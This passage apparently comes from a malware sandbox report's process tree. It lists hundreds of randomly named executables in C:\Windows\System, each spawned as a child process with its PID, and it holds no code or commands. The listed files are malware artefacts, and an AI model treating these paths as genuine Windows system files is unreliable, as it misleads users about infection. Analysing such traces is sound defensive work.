  2⤵
  PID:3940
- C:\Windows\System\yofxsZm.exe
  C:\Windows\System\yofxsZm.exe
  2⤵
  PID:3800
- C:\Windows\System\PsIlYCh.exe
  C:\Windows\System\PsIlYCh.exe
  2⤵
  PID:1908
- C:\Windows\System\rnMtwyL.exe
  C:\Windows\System\rnMtwyL.exe
  2⤵
  PID:3888
- C:\Windows\System\HhkzxQz.exe
  C:\Windows\System\HhkzxQz.exe
  2⤵
  PID:3852
- C:\Windows\System\SPeTjBE.exe
  C:\Windows\System\SPeTjBE.exe
  2⤵
  PID:2620
- C:\Windows\System\GJZYGdX.exe
  C:\Windows\System\GJZYGdX.exe
  2⤵
  PID:2028
- C:\Windows\System\BGdVRIq.exe
  C:\Windows\System\BGdVRIq.exe
  2⤵
  PID:3468
- C:\Windows\System\Vldovkz.exe
  C:\Windows\System\Vldovkz.exe
  2⤵
  PID:312
- C:\Windows\System\phseCdw.exe
  C:\Windows\System\phseCdw.exe
  2⤵
  PID:3840
- C:\Windows\System\mNwgXQo.exe
  C:\Windows\System\mNwgXQo.exe
  2⤵
  PID:4108
- C:\Windows\System\FYCwDLO.exe
  C:\Windows\System\FYCwDLO.exe
  2⤵
  PID:4124
- C:\Windows\System\HIkQoyH.exe
  C:\Windows\System\HIkQoyH.exe
  2⤵
  PID:4140
- C:\Windows\System\PpFKZDJ.exe
  C:\Windows\System\PpFKZDJ.exe
  2⤵
  PID:4160
- C:\Windows\System\jEQJcQx.exe
  C:\Windows\System\jEQJcQx.exe
  2⤵
  PID:4176
- C:\Windows\System\wzwbbFe.exe
  C:\Windows\System\wzwbbFe.exe
  2⤵
  PID:4196
- C:\Windows\System\fbQmlrk.exe
  C:\Windows\System\fbQmlrk.exe
  2⤵
  PID:4212
- C:\Windows\System\cqPKQRQ.exe
  C:\Windows\System\cqPKQRQ.exe
  2⤵
  PID:4228
- C:\Windows\System\GrfdPoz.exe
  C:\Windows\System\GrfdPoz.exe
  2⤵
  PID:4248
- C:\Windows\System\HUjnMAy.exe
  C:\Windows\System\HUjnMAy.exe
  2⤵
  PID:4268
- C:\Windows\System\rSDURul.exe
  C:\Windows\System\rSDURul.exe
  2⤵
  PID:4284
- C:\Windows\System\YDDVfQF.exe
  C:\Windows\System\YDDVfQF.exe
  2⤵
  PID:4300
- C:\Windows\System\EdVionB.exe
  C:\Windows\System\EdVionB.exe
  2⤵
  PID:4320
- C:\Windows\System\uxVuLWp.exe
  C:\Windows\System\uxVuLWp.exe
  2⤵
  PID:4340
- C:\Windows\System\wUOTsPV.exe
  C:\Windows\System\wUOTsPV.exe
  2⤵
  PID:4356
- C:\Windows\System\lSHVXbv.exe
  C:\Windows\System\lSHVXbv.exe
  2⤵
  PID:4372
- C:\Windows\System\QeZRIqJ.exe
  C:\Windows\System\QeZRIqJ.exe
  2⤵
  PID:4388
- C:\Windows\System\BPzAPhM.exe
  C:\Windows\System\BPzAPhM.exe
  2⤵
  PID:4404
- C:\Windows\System\nkMJaDH.exe
  C:\Windows\System\nkMJaDH.exe
  2⤵
  PID:4420
- C:\Windows\System\ysrWrAD.exe
  C:\Windows\System\ysrWrAD.exe
  2⤵
  PID:4436
- C:\Windows\System\eWGMemX.exe
  C:\Windows\System\eWGMemX.exe
  2⤵
  PID:4452
- C:\Windows\System\NkeVrON.exe
  C:\Windows\System\NkeVrON.exe
  2⤵
  PID:4568
- C:\Windows\System\EtgTrev.exe
  C:\Windows\System\EtgTrev.exe
  2⤵
  PID:4604
- C:\Windows\System\ngrNWkf.exe
  C:\Windows\System\ngrNWkf.exe
  2⤵
  PID:4620
- C:\Windows\System\CCymTTh.exe
  C:\Windows\System\CCymTTh.exe
  2⤵
  PID:4636
- C:\Windows\System\NbTbXyM.exe
  C:\Windows\System\NbTbXyM.exe
  2⤵
  PID:4656
- C:\Windows\System\CMSXEGF.exe
  C:\Windows\System\CMSXEGF.exe
  2⤵
  PID:4672
- C:\Windows\System\uICGZAx.exe
  C:\Windows\System\uICGZAx.exe
  2⤵
  PID:4688
- C:\Windows\System\MoFpFKB.exe
  C:\Windows\System\MoFpFKB.exe
  2⤵
  PID:4704
- C:\Windows\System\Yosirhn.exe
  C:\Windows\System\Yosirhn.exe
  2⤵
  PID:4724
- C:\Windows\System\JoaStAz.exe
  C:\Windows\System\JoaStAz.exe
  2⤵
  PID:4740
- C:\Windows\System\moAWjMe.exe
  C:\Windows\System\moAWjMe.exe
  2⤵
  PID:4756
- C:\Windows\System\xJBCPld.exe
  C:\Windows\System\xJBCPld.exe
  2⤵
  PID:4772
- C:\Windows\System\iNRUMEf.exe
  C:\Windows\System\iNRUMEf.exe
  2⤵
  PID:4788
- C:\Windows\System\WPaKVzG.exe
  C:\Windows\System\WPaKVzG.exe
  2⤵
  PID:4808
- C:\Windows\System\XIngJdS.exe
  C:\Windows\System\XIngJdS.exe
  2⤵
  PID:4824
- C:\Windows\System\dKoVVfT.exe
  C:\Windows\System\dKoVVfT.exe
  2⤵
  PID:4840
- C:\Windows\System\NLIukqP.exe
  C:\Windows\System\NLIukqP.exe
  2⤵
  PID:4856
- C:\Windows\System\DadhsaD.exe
  C:\Windows\System\DadhsaD.exe
  2⤵
  PID:4876
- C:\Windows\System\HDBPGSK.exe
  C:\Windows\System\HDBPGSK.exe
  2⤵
  PID:4896
- C:\Windows\System\RTHtAst.exe
  C:\Windows\System\RTHtAst.exe
  2⤵
  PID:4912
- C:\Windows\System\zlgyDYQ.exe
  C:\Windows\System\zlgyDYQ.exe
  2⤵
  PID:4932
- C:\Windows\System\LnFBggr.exe
  C:\Windows\System\LnFBggr.exe
  2⤵
  PID:4952
- C:\Windows\System\QDpdrKc.exe
  C:\Windows\System\QDpdrKc.exe
  2⤵
  PID:4972
- C:\Windows\System\saqIuVv.exe
  C:\Windows\System\saqIuVv.exe
  2⤵
  PID:4988
- C:\Windows\System\hmNsrXg.exe
  C:\Windows\System\hmNsrXg.exe
  2⤵
  PID:5008
- C:\Windows\System\CTJoZap.exe
  C:\Windows\System\CTJoZap.exe
  2⤵
  PID:5092
- C:\Windows\System\Frfemjc.exe
  C:\Windows\System\Frfemjc.exe
  2⤵
  PID:5112
- C:\Windows\System\wPDafAa.exe
  C:\Windows\System\wPDafAa.exe
  2⤵
  PID:3268
- C:\Windows\System\iTVmhxA.exe
  C:\Windows\System\iTVmhxA.exe
  2⤵
  PID:2644
- C:\Windows\System\tAumXNR.exe
  C:\Windows\System\tAumXNR.exe
  2⤵
  PID:3156
- C:\Windows\System\KQDLdgu.exe
  C:\Windows\System\KQDLdgu.exe
  2⤵
  PID:4120
- C:\Windows\System\sDjGJoF.exe
  C:\Windows\System\sDjGJoF.exe
  2⤵
  PID:564
- C:\Windows\System\MPrNUTa.exe
  C:\Windows\System\MPrNUTa.exe
  2⤵
  PID:3488
- C:\Windows\System\TIqNQSl.exe
  C:\Windows\System\TIqNQSl.exe
  2⤵
  PID:1544
- C:\Windows\System\neByDCt.exe
  C:\Windows\System\neByDCt.exe
  2⤵
  PID:4428
- C:\Windows\System\WjckZnM.exe
  C:\Windows\System\WjckZnM.exe
  2⤵
  PID:3716
- C:\Windows\System\tuwnOcy.exe
  C:\Windows\System\tuwnOcy.exe
  2⤵
  PID:576
- C:\Windows\System\UhJlCAG.exe
  C:\Windows\System\UhJlCAG.exe
  2⤵
  PID:3884
- C:\Windows\System\pHJySRE.exe
  C:\Windows\System\pHJySRE.exe
  2⤵
  PID:3332
- C:\Windows\System\MZmSIIm.exe
  C:\Windows\System\MZmSIIm.exe
  2⤵
  PID:1588
- C:\Windows\System\PVDmmWV.exe
  C:\Windows\System\PVDmmWV.exe
  2⤵
  PID:4104
- C:\Windows\System\GzMjFrl.exe
  C:\Windows\System\GzMjFrl.exe
  2⤵
  PID:4172
- C:\Windows\System\yeDOVeR.exe
  C:\Windows\System\yeDOVeR.exe
  2⤵
  PID:4244
- C:\Windows\System\beOZYMU.exe
  C:\Windows\System\beOZYMU.exe
  2⤵
  PID:4312
- C:\Windows\System\mikrvMa.exe
  C:\Windows\System\mikrvMa.exe
  2⤵
  PID:4380
- C:\Windows\System\zptXOTh.exe
  C:\Windows\System\zptXOTh.exe
  2⤵
  PID:4448
- C:\Windows\System\OfszmRt.exe
  C:\Windows\System\OfszmRt.exe
  2⤵
  PID:4472
- C:\Windows\System\iFgcpfT.exe
  C:\Windows\System\iFgcpfT.exe
  2⤵
  PID:4188
- C:\Windows\System\AHfduAR.exe
  C:\Windows\System\AHfduAR.exe
  2⤵
  PID:4508
- C:\Windows\System\XuLYnre.exe
  C:\Windows\System\XuLYnre.exe
  2⤵
  PID:4296
- C:\Windows\System\fWUMkpc.exe
  C:\Windows\System\fWUMkpc.exe
  2⤵
  PID:4592
- C:\Windows\System\zLSFCsw.exe
  C:\Windows\System\zLSFCsw.exe
  2⤵
  PID:4544
- C:\Windows\System\zmObspe.exe
  C:\Windows\System\zmObspe.exe
  2⤵
  PID:4400
- C:\Windows\System\tNeNTaR.exe
  C:\Windows\System\tNeNTaR.exe
  2⤵
  PID:4500
- C:\Windows\System\RXMDUJv.exe
  C:\Windows\System\RXMDUJv.exe
  2⤵
  PID:4536
- C:\Windows\System\Kubvduj.exe
  C:\Windows\System\Kubvduj.exe
  2⤵
  PID:4556
- C:\Windows\System\PpOzdxt.exe
  C:\Windows\System\PpOzdxt.exe
  2⤵
  PID:4600
- C:\Windows\System\WjjyurL.exe
  C:\Windows\System\WjjyurL.exe
  2⤵
  PID:4716
- C:\Windows\System\CnEFmgv.exe
  C:\Windows\System\CnEFmgv.exe
  2⤵
  PID:4784
- C:\Windows\System\XTuiCGX.exe
  C:\Windows\System\XTuiCGX.exe
  2⤵
  PID:2712
- C:\Windows\System\vhVCGDT.exe
  C:\Windows\System\vhVCGDT.exe
  2⤵
  PID:4924
- C:\Windows\System\exwfaWi.exe
  C:\Windows\System\exwfaWi.exe
  2⤵
  PID:4996
- C:\Windows\System\beMOVSM.exe
  C:\Windows\System\beMOVSM.exe
  2⤵
  PID:4628
- C:\Windows\System\wSKmJBv.exe
  C:\Windows\System\wSKmJBv.exe
  2⤵
  PID:4696
- C:\Windows\System\gigPsHS.exe
  C:\Windows\System\gigPsHS.exe
  2⤵
  PID:4868
- C:\Windows\System\iaKGlZp.exe
  C:\Windows\System\iaKGlZp.exe
  2⤵
  PID:3016
- C:\Windows\System\OEPNwIq.exe
  C:\Windows\System\OEPNwIq.exe
  2⤵
  PID:4800
- C:\Windows\System\eOfQWHi.exe
  C:\Windows\System\eOfQWHi.exe
  2⤵
  PID:4980
- C:\Windows\System\uOoHfpM.exe
  C:\Windows\System\uOoHfpM.exe
  2⤵
  PID:5028
- C:\Windows\System\rMBckgq.exe
  C:\Windows\System\rMBckgq.exe
  2⤵
  PID:5048
- C:\Windows\System\nuEfZgG.exe
  C:\Windows\System\nuEfZgG.exe
  2⤵
  PID:5060
- C:\Windows\System\cjJjifo.exe
  C:\Windows\System\cjJjifo.exe
  2⤵
  PID:5108
- C:\Windows\System\JipUlfS.exe
  C:\Windows\System\JipUlfS.exe
  2⤵
  PID:4116
- C:\Windows\System\LhCvMUi.exe
  C:\Windows\System\LhCvMUi.exe
  2⤵
  PID:4220
- C:\Windows\System\nlYYgpU.exe
  C:\Windows\System\nlYYgpU.exe
  2⤵
  PID:5084
- C:\Windows\System\wYOFDlu.exe
  C:\Windows\System\wYOFDlu.exe
  2⤵
  PID:3348
- C:\Windows\System\aNbXokS.exe
  C:\Windows\System\aNbXokS.exe
  2⤵
  PID:4100
- C:\Windows\System\FeOLQUx.exe
  C:\Windows\System\FeOLQUx.exe
  2⤵
  PID:4584
- C:\Windows\System\jzcJpmG.exe
  C:\Windows\System\jzcJpmG.exe
  2⤵
  PID:4040
- C:\Windows\System\kXtjnPK.exe
  C:\Windows\System\kXtjnPK.exe
  2⤵
  PID:4152
- C:\Windows\System\BYwfGjQ.exe
  C:\Windows\System\BYwfGjQ.exe
  2⤵
  PID:288
- C:\Windows\System\kqvfplQ.exe
  C:\Windows\System\kqvfplQ.exe
  2⤵
  PID:3088
- C:\Windows\System\gtEFppm.exe
  C:\Windows\System\gtEFppm.exe
  2⤵
  PID:4276
- C:\Windows\System\kowcFFF.exe
  C:\Windows\System\kowcFFF.exe
  2⤵
  PID:4444
- C:\Windows\System\UekswjK.exe
  C:\Windows\System\UekswjK.exe
  2⤵
  PID:4260
- C:\Windows\System\WTZcAuF.exe
  C:\Windows\System\WTZcAuF.exe
  2⤵
  PID:4540
- C:\Windows\System\cmhtUXa.exe
  C:\Windows\System\cmhtUXa.exe
  2⤵
  PID:4512
- C:\Windows\System\vVaFGLN.exe
  C:\Windows\System\vVaFGLN.exe
  2⤵
  PID:4616
- C:\Windows\System\JBeGlql.exe
  C:\Windows\System\JBeGlql.exe
  2⤵
  PID:4904
- C:\Windows\System\tRbVwjF.exe
  C:\Windows\System\tRbVwjF.exe
  2⤵
  PID:4768
- C:\Windows\System\vYosqKW.exe
  C:\Windows\System\vYosqKW.exe
  2⤵
  PID:5024
- C:\Windows\System\CnvoclI.exe
  C:\Windows\System\CnvoclI.exe
  2⤵
  PID:3504
- C:\Windows\System\dLvlHaG.exe
  C:\Windows\System\dLvlHaG.exe
  2⤵
  PID:4368
- C:\Windows\System\roaabUV.exe
  C:\Windows\System\roaabUV.exe
  2⤵
  PID:5056
- C:\Windows\System\AaSesQd.exe
  C:\Windows\System\AaSesQd.exe
  2⤵
  PID:4168
- C:\Windows\System\KnPiBrW.exe
  C:\Windows\System\KnPiBrW.exe
  2⤵
  PID:4796
- C:\Windows\System\kyrfkmF.exe
  C:\Windows\System\kyrfkmF.exe
  2⤵
  PID:4028
- C:\Windows\System\PeqlJHX.exe
  C:\Windows\System\PeqlJHX.exe
  2⤵
  PID:4816
- C:\Windows\System\lgxrIWk.exe
  C:\Windows\System\lgxrIWk.exe
  2⤵
  PID:5000
- C:\Windows\System\abaePZU.exe
  C:\Windows\System\abaePZU.exe
  2⤵
  PID:4832
- C:\Windows\System\yMuFfcr.exe
  C:\Windows\System\yMuFfcr.exe
  2⤵
  PID:5072
- C:\Windows\System\bOuVAAm.exe
  C:\Windows\System\bOuVAAm.exe
  2⤵
  PID:4364
- C:\Windows\System\BYKAKBe.exe
  C:\Windows\System\BYKAKBe.exe
  2⤵
  PID:4348
- C:\Windows\System\JSREUkp.exe
  C:\Windows\System\JSREUkp.exe
  2⤵
  PID:4496
- C:\Windows\System\kvcSEww.exe
  C:\Windows\System\kvcSEww.exe
  2⤵
  PID:4412
- C:\Windows\System\IwhHdEW.exe
  C:\Windows\System\IwhHdEW.exe
  2⤵
  PID:4680
- C:\Windows\System\aCQTXbA.exe
  C:\Windows\System\aCQTXbA.exe
  2⤵
  PID:4528
- C:\Windows\System\NQOlNLF.exe
  C:\Windows\System\NQOlNLF.exe
  2⤵
  PID:4504
- C:\Windows\System\MXEKWvF.exe
  C:\Windows\System\MXEKWvF.exe
  2⤵
  PID:4548
- C:\Windows\System\BbBtxZB.exe
  C:\Windows\System\BbBtxZB.exe
  2⤵
  PID:2824
- C:\Windows\System\vuaaEIf.exe
  C:\Windows\System\vuaaEIf.exe
  2⤵
  PID:4888
- C:\Windows\System\ZtWMXAM.exe
  C:\Windows\System\ZtWMXAM.exe
  2⤵
  PID:4968
- C:\Windows\System\pqhlWft.exe
  C:\Windows\System\pqhlWft.exe
  2⤵
  PID:4644
- C:\Windows\System\jEYqGJq.exe
  C:\Windows\System\jEYqGJq.exe
  2⤵
  PID:4732
- C:\Windows\System\PKdClvo.exe
  C:\Windows\System\PKdClvo.exe
  2⤵
  PID:5052
- C:\Windows\System\PBJTGXW.exe
  C:\Windows\System\PBJTGXW.exe
  2⤵
  PID:5016
- C:\Windows\System\AvvorMt.exe
  C:\Windows\System\AvvorMt.exe
  2⤵
  PID:4580
- C:\Windows\System\FdcEpKi.exe
  C:\Windows\System\FdcEpKi.exe
  2⤵
  PID:2792
- C:\Windows\System\QkQcQlC.exe
  C:\Windows\System\QkQcQlC.exe
  2⤵
  PID:5040
- C:\Windows\System\AqBxwXN.exe
  C:\Windows\System\AqBxwXN.exe
  2⤵
  PID:5124
- C:\Windows\System\OGdKcEm.exe
  C:\Windows\System\OGdKcEm.exe
  2⤵
  PID:5144
- C:\Windows\System\RNFOmRI.exe
  C:\Windows\System\RNFOmRI.exe
  2⤵
  PID:5160
- C:\Windows\System\EwZewXK.exe
  C:\Windows\System\EwZewXK.exe
  2⤵
  PID:5180
- C:\Windows\System\AORlzTB.exe
  C:\Windows\System\AORlzTB.exe
  2⤵
  PID:5196
- C:\Windows\System\xutUXyR.exe
  C:\Windows\System\xutUXyR.exe
  2⤵
  PID:5220
- C:\Windows\System\zwbhVci.exe
  C:\Windows\System\zwbhVci.exe
  2⤵
  PID:5244
- C:\Windows\System\ZMggaoe.exe
  C:\Windows\System\ZMggaoe.exe
  2⤵
  PID:5268
- C:\Windows\System\WSLMFVG.exe
  C:\Windows\System\WSLMFVG.exe
  2⤵
  PID:5288
- C:\Windows\System\xhiEGAs.exe
  C:\Windows\System\xhiEGAs.exe
  2⤵
  PID:5312
- C:\Windows\System\XKKKeVr.exe
  C:\Windows\System\XKKKeVr.exe
  2⤵
  PID:5328
- C:\Windows\System\qbhPxiE.exe
  C:\Windows\System\qbhPxiE.exe
  2⤵
  PID:5348
- C:\Windows\System\DnLamSg.exe
  C:\Windows\System\DnLamSg.exe
  2⤵
  PID:5364
- C:\Windows\System\EwmcBVz.exe
  C:\Windows\System\EwmcBVz.exe
  2⤵
  PID:5380
- C:\Windows\System\XCLQgyZ.exe
  C:\Windows\System\XCLQgyZ.exe
  2⤵
  PID:5400
- C:\Windows\System\zWtqprs.exe
  C:\Windows\System\zWtqprs.exe
  2⤵
  PID:5424
- C:\Windows\System\QJqyiGO.exe
  C:\Windows\System\QJqyiGO.exe
  2⤵
  PID:5440
- C:\Windows\System\UalZTgL.exe
  C:\Windows\System\UalZTgL.exe
  2⤵
  PID:5468
- C:\Windows\System\YizNFdR.exe
  C:\Windows\System\YizNFdR.exe
  2⤵
  PID:5484
- C:\Windows\System\gQdHDkp.exe
  C:\Windows\System\gQdHDkp.exe
  2⤵
  PID:5504
- C:\Windows\System\ZJmqUsg.exe
  C:\Windows\System\ZJmqUsg.exe
  2⤵
  PID:5532
- C:\Windows\System\ZMBftGN.exe
  C:\Windows\System\ZMBftGN.exe
  2⤵
  PID:5552
- C:\Windows\System\LEyqGlR.exe
  C:\Windows\System\LEyqGlR.exe
  2⤵
  PID:5572
- C:\Windows\System\BjYMUKO.exe
  C:\Windows\System\BjYMUKO.exe
  2⤵
  PID:5588
- C:\Windows\System\jjbFzBt.exe
  C:\Windows\System\jjbFzBt.exe
  2⤵
  PID:5608
- C:\Windows\System\sfAzQwz.exe
  C:\Windows\System\sfAzQwz.exe
  2⤵
  PID:5624
- C:\Windows\System\KanyYWx.exe
  C:\Windows\System\KanyYWx.exe
  2⤵
  PID:5644
- C:\Windows\System\qzAbhqd.exe
  C:\Windows\System\qzAbhqd.exe
  2⤵
  PID:5660
- C:\Windows\System\BCYqXWJ.exe
  C:\Windows\System\BCYqXWJ.exe
  2⤵
  PID:5680
- C:\Windows\System\ELabgHj.exe
  C:\Windows\System\ELabgHj.exe
  2⤵
  PID:5696
- C:\Windows\System\DERrMDY.exe
  C:\Windows\System\DERrMDY.exe
  2⤵
  PID:5716
- C:\Windows\System\uSNDVHW.exe
  C:\Windows\System\uSNDVHW.exe
  2⤵
  PID:5732
- C:\Windows\System\bfMrrui.exe
  C:\Windows\System\bfMrrui.exe
  2⤵
  PID:5752
- C:\Windows\System\TRxWcQW.exe
  C:\Windows\System\TRxWcQW.exe
  2⤵
  PID:5768
- C:\Windows\System\fOpfkyP.exe
  C:\Windows\System\fOpfkyP.exe
  2⤵
  PID:5788
- C:\Windows\System\loTUsSe.exe
  C:\Windows\System\loTUsSe.exe
  2⤵
  PID:5804
- C:\Windows\System\ikKlCRn.exe
  C:\Windows\System\ikKlCRn.exe
  2⤵
  PID:5824
- C:\Windows\System\VmRXHgX.exe
  C:\Windows\System\VmRXHgX.exe
  2⤵
  PID:5840
- C:\Windows\System\XaskSiO.exe
  C:\Windows\System\XaskSiO.exe
  2⤵
  PID:5884
- C:\Windows\System\oZXUToy.exe
  C:\Windows\System\oZXUToy.exe
  2⤵
  PID:5904
- C:\Windows\System\sKFPCUy.exe
  C:\Windows\System\sKFPCUy.exe
  2⤵
  PID:5924
- C:\Windows\System\KKevwoy.exe
  C:\Windows\System\KKevwoy.exe
  2⤵
  PID:5940
- C:\Windows\System\DgAlEvY.exe
  C:\Windows\System\DgAlEvY.exe
  2⤵
  PID:5960
- C:\Windows\System\SplNXTq.exe
  C:\Windows\System\SplNXTq.exe
  2⤵
  PID:5976
- C:\Windows\System\phMHQVp.exe
  C:\Windows\System\phMHQVp.exe
  2⤵
  PID:5996
- C:\Windows\System\jqAoilw.exe
  C:\Windows\System\jqAoilw.exe
  2⤵
  PID:6012
- C:\Windows\System\gNVdCPk.exe
  C:\Windows\System\gNVdCPk.exe
  2⤵
  PID:6032
- C:\Windows\System\gqLkuAZ.exe
  C:\Windows\System\gqLkuAZ.exe
  2⤵
  PID:6048
- C:\Windows\System\HWQzXGm.exe
  C:\Windows\System\HWQzXGm.exe
  2⤵
  PID:6068
- C:\Windows\System\CtoYplR.exe
  C:\Windows\System\CtoYplR.exe
  2⤵
  PID:6084
- C:\Windows\System\JICPQDf.exe
  C:\Windows\System\JICPQDf.exe
  2⤵
  PID:6108
- C:\Windows\System\HxppPjG.exe
  C:\Windows\System\HxppPjG.exe
  2⤵
  PID:6124
- C:\Windows\System\KcmfBKY.exe
  C:\Windows\System\KcmfBKY.exe
  2⤵
  PID:6140
- C:\Windows\System\SoFSqMr.exe
  C:\Windows\System\SoFSqMr.exe
  2⤵
  PID:4136
- C:\Windows\System\yrAtwqZ.exe
  C:\Windows\System\yrAtwqZ.exe
  2⤵
  PID:5136
- C:\Windows\System\ygIRdly.exe
  C:\Windows\System\ygIRdly.exe
  2⤵
  PID:5208
- C:\Windows\System\UlFlkuE.exe
  C:\Windows\System\UlFlkuE.exe
  2⤵
  PID:5204
- C:\Windows\System\ldacKhu.exe
  C:\Windows\System\ldacKhu.exe
  2⤵
  PID:5300
- C:\Windows\System\zanBoBS.exe
  C:\Windows\System\zanBoBS.exe
  2⤵
  PID:5344
- C:\Windows\System\CVEBRKa.exe
  C:\Windows\System\CVEBRKa.exe
  2⤵
  PID:5420
- C:\Windows\System\dAutpCy.exe
  C:\Windows\System\dAutpCy.exe
  2⤵
  PID:5456
- C:\Windows\System\cglNPpH.exe
  C:\Windows\System\cglNPpH.exe
  2⤵
  PID:5540
- C:\Windows\System\szVmnRv.exe
  C:\Windows\System\szVmnRv.exe
  2⤵
  PID:5616
- C:\Windows\System\hzQUhle.exe
  C:\Windows\System\hzQUhle.exe
  2⤵
  PID:5688
- C:\Windows\System\CmVrNlF.exe
  C:\Windows\System\CmVrNlF.exe
  2⤵
  PID:5764
- C:\Windows\System\XOkUPqg.exe
  C:\Windows\System\XOkUPqg.exe
  2⤵
  PID:5836
- C:\Windows\System\nmcGwxY.exe
  C:\Windows\System\nmcGwxY.exe
  2⤵
  PID:5972
- C:\Windows\System\WNsQHEV.exe
  C:\Windows\System\WNsQHEV.exe
  2⤵
  PID:6044
- C:\Windows\System\jKcfNjZ.exe
  C:\Windows\System\jKcfNjZ.exe
  2⤵
  PID:6120
- C:\Windows\System\WbGjmHC.exe
  C:\Windows\System\WbGjmHC.exe
  2⤵
  PID:5172
- C:\Windows\System\qthdpyM.exe
  C:\Windows\System\qthdpyM.exe
  2⤵
  PID:5412
- C:\Windows\System\ChblsmV.exe
  C:\Windows\System\ChblsmV.exe
  2⤵
  PID:5640
- C:\Windows\System\AVpPorc.exe
  C:\Windows\System\AVpPorc.exe
  2⤵
  PID:5832
- C:\Windows\System\EqnYUUs.exe
  C:\Windows\System\EqnYUUs.exe
  2⤵
  PID:4332
- C:\Windows\System\VVWGEcY.exe
  C:\Windows\System\VVWGEcY.exe
  2⤵
  PID:4488
- C:\Windows\System\WzYtDau.exe
  C:\Windows\System\WzYtDau.exe
  2⤵
  PID:6188
- C:\Windows\System\PeeqqIw.exe
  C:\Windows\System\PeeqqIw.exe
  2⤵
  PID:6204
- C:\Windows\System\NeZCpnN.exe
  C:\Windows\System\NeZCpnN.exe
  2⤵
  PID:6220
- C:\Windows\System\hVoLkzx.exe
  C:\Windows\System\hVoLkzx.exe
  2⤵
  PID:6240
- C:\Windows\System\sQxTRiY.exe
  C:\Windows\System\sQxTRiY.exe
  2⤵
  PID:6256
- C:\Windows\System\kPgZzDX.exe
  C:\Windows\System\kPgZzDX.exe
  2⤵
  PID:6276
- C:\Windows\System\OsVBgJQ.exe
  C:\Windows\System\OsVBgJQ.exe
  2⤵
  PID:6296
- C:\Windows\System\iiiQdYD.exe
  C:\Windows\System\iiiQdYD.exe
  2⤵
  PID:6312
- C:\Windows\System\toDHLod.exe
  C:\Windows\System\toDHLod.exe
  2⤵
  PID:6328
- C:\Windows\System\BsSZtXn.exe
  C:\Windows\System\BsSZtXn.exe
  2⤵
  PID:6348
- C:\Windows\System\lPYzleL.exe
  C:\Windows\System\lPYzleL.exe
  2⤵
  PID:6364
- C:\Windows\System\CSkbVWu.exe
  C:\Windows\System\CSkbVWu.exe
  2⤵
  PID:6384
- C:\Windows\System\VxHpkuX.exe
  C:\Windows\System\VxHpkuX.exe
  2⤵
  PID:6400
- C:\Windows\System\ifPUVoz.exe
  C:\Windows\System\ifPUVoz.exe
  2⤵
  PID:6420
- C:\Windows\System\woThSwH.exe
  C:\Windows\System\woThSwH.exe
  2⤵
  PID:6436
- C:\Windows\System\QebZUZs.exe
  C:\Windows\System\QebZUZs.exe
  2⤵
  PID:6456
- C:\Windows\System\UsNzoIb.exe
  C:\Windows\System\UsNzoIb.exe
  2⤵
  PID:6472
- C:\Windows\System\EbbTNmn.exe
  C:\Windows\System\EbbTNmn.exe
  2⤵
  PID:6492
- C:\Windows\System\NsYDlgH.exe
  C:\Windows\System\NsYDlgH.exe
  2⤵
  PID:6508
- C:\Windows\System\rbQYwUw.exe
  C:\Windows\System\rbQYwUw.exe
  2⤵
  PID:6528
- C:\Windows\System\SwwESzn.exe
  C:\Windows\System\SwwESzn.exe
  2⤵
  PID:6572
- C:\Windows\System\DISxMsq.exe
  C:\Windows\System\DISxMsq.exe
  2⤵
  PID:6588
- C:\Windows\System\PXvqzOx.exe
  C:\Windows\System\PXvqzOx.exe
  2⤵
  PID:6616
- C:\Windows\System\mktynjV.exe
  C:\Windows\System\mktynjV.exe
  2⤵
  PID:6632
- C:\Windows\System\rNKkkje.exe
  C:\Windows\System\rNKkkje.exe
  2⤵
  PID:6656
- C:\Windows\System\MTgccsg.exe
  C:\Windows\System\MTgccsg.exe
  2⤵
  PID:6760
- C:\Windows\System\ZVlHtYU.exe
  C:\Windows\System\ZVlHtYU.exe
  2⤵
  PID:6776
- C:\Windows\System\dxtuSsU.exe
  C:\Windows\System\dxtuSsU.exe
  2⤵
  PID:6796
- C:\Windows\System\pzQgffj.exe
  C:\Windows\System\pzQgffj.exe
  2⤵
  PID:6812
- C:\Windows\System\yxIIazO.exe
  C:\Windows\System\yxIIazO.exe
  2⤵
  PID:6828
- C:\Windows\System\GcpGYbY.exe
  C:\Windows\System\GcpGYbY.exe
  2⤵
  PID:6844
- C:\Windows\System\jujhaIN.exe
  C:\Windows\System\jujhaIN.exe
  2⤵
  PID:6864
- C:\Windows\System\kvezkJL.exe
  C:\Windows\System\kvezkJL.exe
  2⤵
  PID:6884
- C:\Windows\System\BFNqeqb.exe
  C:\Windows\System\BFNqeqb.exe
  2⤵
  PID:6900
- C:\Windows\System\NgkkcYL.exe
  C:\Windows\System\NgkkcYL.exe
  2⤵
  PID:6916
- C:\Windows\System\bVUuxmG.exe
  C:\Windows\System\bVUuxmG.exe
  2⤵
  PID:6932
- C:\Windows\System\ReLTSTJ.exe
  C:\Windows\System\ReLTSTJ.exe
  2⤵
  PID:6948
- C:\Windows\System\xVtTPyX.exe
  C:\Windows\System\xVtTPyX.exe
  2⤵
  PID:6964
- C:\Windows\System\zKAZzOr.exe
  C:\Windows\System\zKAZzOr.exe
  2⤵
  PID:6984
- C:\Windows\System\TwhsYHm.exe
  C:\Windows\System\TwhsYHm.exe
  2⤵
  PID:7000
- C:\Windows\System\BIsrdIo.exe
  C:\Windows\System\BIsrdIo.exe
  2⤵
  PID:7016
- C:\Windows\System\IlBwiZs.exe
  C:\Windows\System\IlBwiZs.exe
  2⤵
  PID:7036
- C:\Windows\System\IlLzZTY.exe
  C:\Windows\System\IlLzZTY.exe
  2⤵
  PID:7052
- C:\Windows\System\AJWwvDP.exe
  C:\Windows\System\AJWwvDP.exe
  2⤵
  PID:7068
- C:\Windows\System\LawKbzC.exe
  C:\Windows\System\LawKbzC.exe
  2⤵
  PID:7084
- C:\Windows\System\fVRHUOg.exe
  C:\Windows\System\fVRHUOg.exe
  2⤵
  PID:7100
- C:\Windows\System\qPOJLHF.exe
  C:\Windows\System\qPOJLHF.exe
  2⤵
  PID:7160
- C:\Windows\System\Dfytkfy.exe
  C:\Windows\System\Dfytkfy.exe
  2⤵
  PID:6040
- C:\Windows\System\GIzAvrY.exe
  C:\Windows\System\GIzAvrY.exe
  2⤵
  PID:5864
- C:\Windows\System\VJLRpAe.exe
  C:\Windows\System\VJLRpAe.exe
  2⤵
  PID:5392
- C:\Windows\System\BILjuTZ.exe
  C:\Windows\System\BILjuTZ.exe
  2⤵
  PID:2560
- C:\Windows\System\QLVOpYO.exe
  C:\Windows\System\QLVOpYO.exe
  2⤵
  PID:4224
